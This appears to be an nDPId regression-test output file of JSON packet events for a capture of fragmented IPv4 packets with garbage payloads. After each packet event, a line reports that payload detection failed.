+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521620,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521633,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521645,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521657,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521681,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521693,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521705,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521717,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521743,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521768,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521793,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521805,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521818,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521850,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521901,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521913,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521924,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521936,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521950,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521976,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521988,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521999,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522010,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522037,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522049,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522060,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522072,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522095,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522106,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522121,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 